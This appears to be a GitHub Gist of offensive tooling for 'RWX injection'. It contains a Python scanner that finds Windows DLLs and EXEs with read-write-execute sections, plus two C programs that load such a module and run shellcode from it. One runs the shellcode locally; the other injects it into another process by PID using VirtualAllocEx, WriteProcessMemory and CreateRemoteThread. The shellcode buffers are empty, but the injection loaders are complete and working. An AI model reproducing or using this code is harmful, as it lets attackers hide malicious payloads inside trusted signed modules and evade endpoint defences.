-
-
Save WKL-Sec/96e17188e4c159c2cdf7ff2c111130cc to your computer and use it in GitHub Desktop.
RWX Injection - Memory Allocation/Protection Primitive
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding:utf-8 -*- | |
import argparse | |
import concurrent.futures | |
import os | |
import pefile | |
import threading | |
print_lock = threading.Lock() | |
# https://github.com/erocarrera/pefile/issues/297 | |
def close_recursive( obj, target ): | |
if isinstance( obj, list ): | |
for val in obj: | |
close_recursive( val, target ) | |
elif isinstance( obj, object ): | |
try: | |
dictobj = obj.__dict__ | |
if target in dictobj: | |
setattr( obj, target, None ) | |
for _, val in dictobj.items(): | |
close_recursive( val, target ) | |
except AttributeError: | |
pass | |
def close_pe( pe ): | |
for _, val in pe.__dict__.items(): | |
close_recursive( val, "pe" ) | |
pe.close() | |
class RWXSection: | |
name = None | |
offset = 0 | |
size = 0 | |
raw_size = 0 | |
def __init__( self, section ): | |
self.name = section.Name.decode() | |
self.offset = section.VirtualAddress | |
self.size = section.Misc_VirtualSize | |
self.raw_size = section.SizeOfRawData | |
def clear( self ): | |
self.name = None | |
self.offset = 0 | |
self.size = 0 | |
self.raw_size = 0 | |
def get_arch( pe_module ): | |
if pe_module.FILE_HEADER.Machine == 0x14c: | |
return 'x86' | |
elif pe_module.FILE_HEADER.Machine == 0x8664: | |
return 'x64' | |
else: | |
return 'unknown' | |
def is_signed( pe_module ): | |
dir = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"] | |
if len(pe_module.OPTIONAL_HEADER.DATA_DIRECTORY) >= dir: | |
va = pe_module.OPTIONAL_HEADER.DATA_DIRECTORY[dir].VirtualAddress | |
if va != 0: | |
return True | |
return False | |
def print_results( path, arch, signed, results ): | |
print_lock.acquire() | |
print( f'[+] {path}' ) | |
print( f' Arch: {arch}' ) | |
print( f' Signed: {signed}' ) | |
print( f' RWX Sections:' ) | |
for module in results: | |
print( f' Name: {module.name}' ) | |
print( f' VirtualAddress: {module.offset}' ) | |
print( f' VirtualSize: {module.size}' ) | |
print( f' RawSize: {module.raw_size}' ) | |
module.clear() | |
print_lock.release() | |
def get_rwx_sections( file, root ): | |
path = '' | |
arch = '' | |
signed = False | |
results = list() | |
if file.lower().endswith( ( '.dll', '.exe' ) ): | |
path = os.path.join( root, file ) | |
pe_module = pefile.PE( path ) | |
arch = get_arch( pe_module ) | |
signed = is_signed( pe_module ) | |
for section in pe_module.sections: | |
if( section.Characteristics & 0x20000000 and # IMAGE_SCN_MEM_EXECUTE | |
section.Characteristics & 0x40000000 and # IMAGE_SCN_MEM_READ | |
section.Characteristics & 0x80000000 ): # IMAGE_SCN_MEM_WRITE | |
results.append( RWXSection( section ) ) | |
close_pe( pe_module ) | |
if results: | |
print_results( path, arch, signed, results ) | |
results.clear() | |
if __name__ in '__main__': | |
try: | |
parser = argparse.ArgumentParser( description = 'Extracts exports from a PE.' ) | |
parser.add_argument( '-d', required = True, help = 'Directory to recursively scan for modules', type = str ) | |
option = parser.parse_args() | |
with concurrent.futures.ThreadPoolExecutor() as executor: | |
for root, _, files in os.walk( option.d ): | |
for file in files: | |
executor.submit( get_rwx_sections, file, root ) | |
except Exception as e: | |
print( f'[!] error: {e}' ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// x86_64-w64-mingw32-gcc local.c -o local.x64.exe -lpsapi | |
// i686-w64-mingw32-gcc local.c -o local.x86.exe -lpsapi | |
#include <windows.h> | |
#include <psapi.h> | |
#include <stdio.h> | |
#define MODULE "C:\\Users\\Administrator\\Desktop\\iKernel.dll" | |
#define OFFSET 0x00001000 | |
#ifdef _WIN64 | |
unsigned char shellcode[] = ""; | |
#else | |
unsigned char shellcode[] = ""; | |
#endif | |
INT main() { | |
HANDLE hDll; | |
MODULEINFO info; | |
PVOID rwxSection; | |
HANDLE hThread; | |
hDll = LoadLibraryA( MODULE ); | |
if( hDll == NULL ) | |
{ | |
printf( "LoadLibraryA failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
printf( "DLL address: %p\n", hDll ); | |
if( !GetModuleInformation( ( HANDLE )-1, hDll, &info, sizeof( MODULEINFO ) ) ) | |
{ | |
printf( "GetModuleInformation failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
printf( "Base Address: %p\n", info.lpBaseOfDll ); | |
rwxSection = ( PVOID )( ( ULONG_PTR )info.lpBaseOfDll + ( ULONG_PTR )OFFSET ); | |
printf( "RWX Section Address: %p\n", rwxSection ); | |
printf( "Shellcode Address: %p\n", shellcode ); | |
printf( "Shellcode Length: %d\n", sizeof( shellcode ) ); | |
printf( "Press any key to copy shellcode...\n" ); | |
getchar(); | |
memcpy( rwxSection, shellcode, sizeof( shellcode ) ); | |
printf( "Press any key to execute shellcode...\n" ); | |
getchar(); | |
hThread = CreateThread( NULL, 0, ( LPTHREAD_START_ROUTINE )rwxSection, NULL, 0, NULL ); | |
if( hThread == NULL ) | |
{ | |
printf( "CreateThread failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
WaitForSingleObject( hThread, INFINITE ); | |
CloseHandle( hThread ); | |
printf( "Press any key to exit...\n" ); | |
getchar(); | |
return 0; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// x86_64-w64-mingw32-gcc remote.c -o remote.x64.exe -lpsapi | |
// i686-w64-mingw32-gcc remote.c -o remote.x86.exe -lpsapi | |
#include <windows.h> | |
#include <psapi.h> | |
#include <stdio.h> | |
#define MODULE "C:\\Users\\Administrator\\Desktop\\iKernel.dll" | |
#define OFFSET 0x00001000 | |
#define PROCID 6424 | |
#ifdef _WIN64 | |
unsigned char shellcode[] = ""; | |
#else | |
unsigned char shellcode[] = ""; | |
#endif | |
INT main() { | |
HANDLE hProc; | |
PVOID pDllName; | |
PTHREAD_START_ROUTINE pLoadLibrary; | |
HANDLE hThread; | |
HMODULE hMods[1024]; | |
DWORD cbNeeded; | |
DWORD dwFilter; | |
HMODULE hDll; | |
PVOID rwxSection; | |
hProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, PROCID ); | |
if( hProc == INVALID_HANDLE_VALUE ) | |
{ | |
printf( "OpenProcess failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
printf( "Process handle: %p\n", hProc ); | |
pDllName = VirtualAllocEx( hProc, NULL, sizeof( MODULE ), MEM_COMMIT, PAGE_READWRITE ); | |
if( pDllName == NULL ) | |
{ | |
printf( "VirtualAllocEx failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
printf( "Remote DLL name address: %p\n", pDllName ); | |
if( !WriteProcessMemory( hProc, pDllName, MODULE, sizeof( MODULE ), NULL ) ) | |
{ | |
printf( "WriteProcessMemory failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
pLoadLibrary = ( PTHREAD_START_ROUTINE )GetProcAddress( GetModuleHandleA( "Kernel32" ), "LoadLibraryA" ); | |
hThread = CreateRemoteThread( hProc, NULL, 0, pLoadLibrary, pDllName, 0, NULL ); | |
if( hThread == INVALID_HANDLE_VALUE ) | |
{ | |
printf( "CreateRemoteThread failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
if( WaitForSingleObject( hThread, 1000 ) == WAIT_TIMEOUT ) | |
{ | |
printf( "LoadLibraryA timed out\n" ); | |
return 1; | |
}; | |
CloseHandle( hThread ); | |
SIZE_T modulesCount = 0; | |
#ifdef _WIN64 | |
dwFilter = LIST_MODULES_64BIT; | |
#else | |
dwFilter = LIST_MODULES_32BIT; | |
#endif | |
if( !EnumProcessModulesEx( hProc, hMods, sizeof( hMods ), &cbNeeded, dwFilter ) ) | |
{ | |
printf( "EnumProcessModulesEx failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
for ( INT i = 0; i < ( cbNeeded / sizeof( HMODULE ) ); i++ ) | |
{ | |
CHAR szModName[MAX_PATH]; | |
if( GetModuleFileNameExA( hProc, hMods[i], szModName, sizeof( szModName ) ) ) | |
{ | |
if( strcmp( szModName, MODULE ) == 0 ) | |
{ | |
hDll = hMods[i]; | |
break; | |
}; | |
}; | |
}; | |
if( hDll == NULL ) | |
{ | |
printf( "Failed to find module\n" ); | |
return 1; | |
}; | |
printf( "Remote DLL address: %p\n", hDll ); | |
rwxSection = ( PVOID )( ( ULONG_PTR )hDll + ( ULONG_PTR )OFFSET ); | |
printf( "Remote RWX section address: %p\n", rwxSection ); | |
printf( "Shellcode address: %p\n", shellcode ); | |
printf( "Shellcode length: %d\n", sizeof( shellcode ) ); | |
printf( "Press any key to copy shellcode...\n" ); | |
getchar(); | |
if( !WriteProcessMemory( hProc, rwxSection, shellcode, sizeof( shellcode ), NULL ) ) | |
{ | |
printf( "WriteProcessMemory failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
printf( "Press any key to execute shellcode...\n" ); | |
getchar(); | |
hThread = CreateRemoteThread( hProc, NULL, 0, ( LPTHREAD_START_ROUTINE )rwxSection, NULL, 0, NULL ); | |
if( hThread == NULL ) | |
{ | |
printf( "CreateRemoteThread failed: %d\n", GetLastError() ); | |
return 1; | |
}; | |
WaitForSingleObject( hThread, INFINITE ); | |
CloseHandle( hThread ); | |
printf( "Press any key to exit...\n" ); | |
getchar(); | |
return 0; | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment